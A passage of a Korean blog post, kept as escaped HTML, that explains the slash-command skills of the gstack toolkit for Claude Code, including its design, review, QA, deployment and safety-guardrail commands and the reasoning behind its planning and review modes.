&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;디자인 시스템 구축. 창의적 리스크 제안, 실제 제품 목업 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/design-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;코드하는 디자이너&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;라이브 사이트 시각 감사 + 수정 루프. 80항목 감사 후 atomic commit으로 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/design-shotgun&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;디자인 탐색기&lt;/b&gt; &lt;span style=&quot;color: #28a745; font-size: 12px;&quot;&gt;[신규 v0.13.5]&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;여러 AI 디자인 변형을 생성하고, 브라우저에서 비교 보드를 열어 방향을 선택. 사용자 취향 메모리를 누적 학습&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;구현&amp;middot;테스트 (Implementation &amp;amp; Testing)&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Staff Engineer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;CI를 통과하는 프로덕션 버그 탐색. 자동 수정 + 완전성 갭 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/investigate&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;디버거&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;체계적 근본 원인 디버깅. 데이터 흐름 추적, 가설 테스트. 3회 실패 시 중단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/qa&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;QA Lead&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;앱 테스트 &amp;rarr; 버그 발견 &amp;rarr; atomic commit 수정 &amp;rarr; 재검증. 회귀 테스트 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/qa-only&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;QA 리포터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;/qa와 동일 방법론이지만 코드 수정 없이 보고만 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/cso&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Chief Security Officer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;OWASP Top 10 + STRIDE 위협 모델링 감사. Injection, 인증, 암호화, 접근 제어 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/browse&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;QA Engineer (시각)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;실제 Chromium 브라우저로 클릭, 스크린샷 (~100ms/명령)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/connect-chrome&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Chrome 컨트롤러&lt;/b&gt; &lt;span style=&quot;color: #28a745; font-size: 12px;&quot;&gt;[신규]&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;실제 Chrome을 gstack이 제어하는 모드로 실행. Side Panel 확장으로 모든 동작을 실시간 관찰 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;배포 (Deployment)&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/ship&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Release Engineer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;main 싱크 &amp;rarr; 테스트 &amp;rarr; 커버리지 감사 &amp;rarr; 푸시 &amp;rarr; PR 생성. 원커맨드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/land-and-deploy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;배포 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;PR 머지 후 프로덕션 배포까지 전체 흐름 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/canary&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;SRE&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;포스트-디플로이 모니터링 루프. console errors, 성능 저하, 페이지 장애를 감시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/benchmark&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;성능 엔지니어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;성능 벤치마크 실행 및 비교&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/setup-deploy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;배포 설정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;배포 환경 초기 설정 및 구성 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;안전&amp;middot;유틸리티 (Safety &amp;amp; Utilities)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brJoDe/dJMcadIcqsO/JqQ3In0eB9tIzUtU5UTNw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brJoDe/dJMcadIcqsO/JqQ3In0eB9tIzUtU5UTNw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brJoDe/dJMcadIcqsO/JqQ3In0eB9tIzUtU5UTNw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrJoDe%2FdJMcadIcqsO%2FJqQ3In0eB9tIzUtU5UTNw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;1108&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/careful&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;안전 가드레일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;파괴적 명령 전 경고. 일반 빌드 정리는 화이트리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/freeze&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;편집 잠금&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;파일 편집을 단일 디렉토리로 제한. 경계 밖 Edit/Write 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/guard&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;풀 세이프티&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;/careful + /freeze 결합. 프로덕션 작업 시 최대 안전 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/unfreeze&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;잠금 해제&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;/freeze 경계 제거, 전체 편집 허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/codex&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Second Opinion&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;OpenAI Codex 독립 리뷰. 3가지 모드: 코드 리뷰 게이트, 적대적 챌린지, 오픈 상담&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/retro&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;엔지니어링 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;팀 메트릭 기반 회고. 개인별 분석, 배포 스트릭, 테스트 건강도 트렌드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/document-release&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;테크니컬 라이터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;배포된 코드에 맞춰 프로젝트 문서 자동 업데이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/setup-browser-cookies&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;세션 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Chrome, Arc, Brave, Edge에서 쿠키 가져와 헤드리스 세션에 임포트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/gstack-upgrade&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;셀프 업데이터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack을 최신 버전으로 업그레이드. 글로벌/벤더 설치 자동 감지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 YC Office Hours &amp;mdash; /office-hours (신규)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOluR9/dJMcabDFt5L/BGt5OPAVa6qiupte6fbLR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOluR9/dJMcabDFt5L/BGt5OPAVa6qiupte6fbLR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOluR9/dJMcabDFt5L/BGt5OPAVa6qiupte6fbLR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOluR9%2FdJMcabDFt5L%2FBGt5OPAVa6qiupte6fbLR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1100&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack 워크플로우의 &lt;b&gt;시작점&lt;/b&gt;이다. 코드를 한 줄도 쓰기 전에 &lt;b&gt;6가지 강제 질문&lt;/b&gt;으로 제품을 재정의한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan이 실제 YC Office Hours에서 창업자들에게 던지는 질문을 AI 에이전트가 대신 수행하는 구조다. 전제를 도전하고, 기존 프레이밍을 부수고, 구현 대안을 생성한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬이 만든 디자인 문서가 이후 &lt;code&gt;/plan-ceo-review&lt;/code&gt; 등 모든 하위 스킬의 입력이 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 15px; border-left: 4px solid #28a745; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;/office-hours가 만드는 가치&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 AI 코딩 어시스턴트는 &quot;이 기능 만들어줘&quot;라고 하면 바로 코딩을 시작한다. /office-hours는 반대로 &quot;이 기능이 정말 필요한가? 더 나은 방법은 없는가?&quot;부터 묻는다. 디자인 문서에 revision chain이 기록되어, 아이디어가 어떻게 진화했는지 추적할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 CEO 리뷰 모드 &amp;mdash; /plan-ceo-review&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬은 &lt;b&gt;창업자의 시각&lt;/b&gt;으로 문제를 바라보는 인지 모드를 활성화한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순히 요청된 기능을 구현하는 게 아니라, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;이 문제를 해결하는 가장 탁월한 방법은 무엇인가?&quot;&lt;/b&gt;&lt;/span&gt;를 먼저 묻는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;4가지 동작 모드를 제공한다: &lt;b&gt;Expansion&lt;/b&gt;(범위 확장), &lt;b&gt;Selective Expansion&lt;/b&gt;(선택적 확장), &lt;b&gt;Hold Scope&lt;/b&gt;(범위 유지), &lt;b&gt;Reduction&lt;/b&gt;(범위 축소).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan이 YC 창업자들에게 늘 강조하는 &quot;10-star product&quot; 개념이 여기에 녹아 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Airbnb의 사례로 설명하면, 별 1개짜리 경험은 &quot;호스트가 집 열쇠를 보내줬다&quot;이고, 별 10개짜리 경험은 &quot;공항에서부터 개인 컨시어지가 안내해주고 방에 선물이 준비되어 있다&quot;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬은 AI가 별 10개짜리 솔루션을 먼저 상상한 후, 현실적으로 가능한 범위를 좁히는 방식으로 작동한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;/plan-ceo-review 사용 시점&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;새로운 기능 개발 시작 전&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;기존 접근법에 막혔을 때&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;사용자 경험(UX) 개선 방향을 정할 때&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;경쟁사 대비 차별화 전략을 구상할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 엔지니어링 매니저 모드 &amp;mdash; /plan-eng-review&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CEO 리뷰가 &quot;무엇을 만들 것인가&quot;를 정한다면,&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;엔지니어링 매니저 모드는 &lt;b&gt;&quot;어떻게 만들 것인가&quot;&lt;/b&gt;를 정한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아키텍처를 확정하고, 데이터 플로우를 다이어그램으로 문서화하고, 에지 케이스와 예외 상황을 미리 정의한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬이 실행되면 Claude Code는 엔지니어링 리드의 역할을 맡아 다음을 수행한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;아키텍처 다이어그램&lt;/b&gt;: 컴포넌트 간 관계와 데이터 흐름을 Mermaid 또는 텍스트 다이어그램으로 표현&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인터페이스 정의&lt;/b&gt;: API 계약, 데이터 스키마, 타입 정의&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;에지 케이스 목록화&lt;/b&gt;: &quot;무엇이 잘못될 수 있는가&quot;를 체계적으로 나열&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;구현 순서 정의&lt;/b&gt;: 의존성 기반 태스크 순서화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.4 Staff Engineer 모드 &amp;mdash; /review&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpX887/dJMcaf0k3ET/jt2khF2DceL11caNY9Ktfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpX887/dJMcaf0k3ET/jt2khF2DceL11caNY9Ktfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpX887/dJMcaf0k3ET/jt2khF2DceL11caNY9Ktfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpX887%2FdJMcaf0k3ET%2Fjt2khF2DceL11caNY9Ktfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2024&quot; height=&quot;1108&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬이 핵심이다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;CI를 통과하는 프로덕션 버그를 찾아라.&quot;&lt;/b&gt;&lt;/span&gt; 테스트가 모두 통과하고, 린터에도 걸리지 않지만 실제 서비스에서는 문제가 되는 버그들이 있다. Race condition, 메모리 누수, 타임아웃 처리 누락, 인증 우회 가능성 같은 것들이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/review 스킬은 특히 &lt;b&gt;Greptile 통합&lt;/b&gt;이 인상적이다. Greptile은 자동화된 코드 리뷰 도구인데, PR 코멘트를 자동 생성한다. /review 실행 시 이 Greptile 코멘트를 가져와서 세 가지로 분류한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;유효한 이슈&lt;/b&gt;: 실제로 수정이 필요한 문제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;이미 수정됨&lt;/b&gt;: 다른 커밋에서 이미 해결된 문제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;False Positive&lt;/b&gt;: 실제로는 문제없는 오탐지&lt;/li&gt;
&lt;/ul&gt;
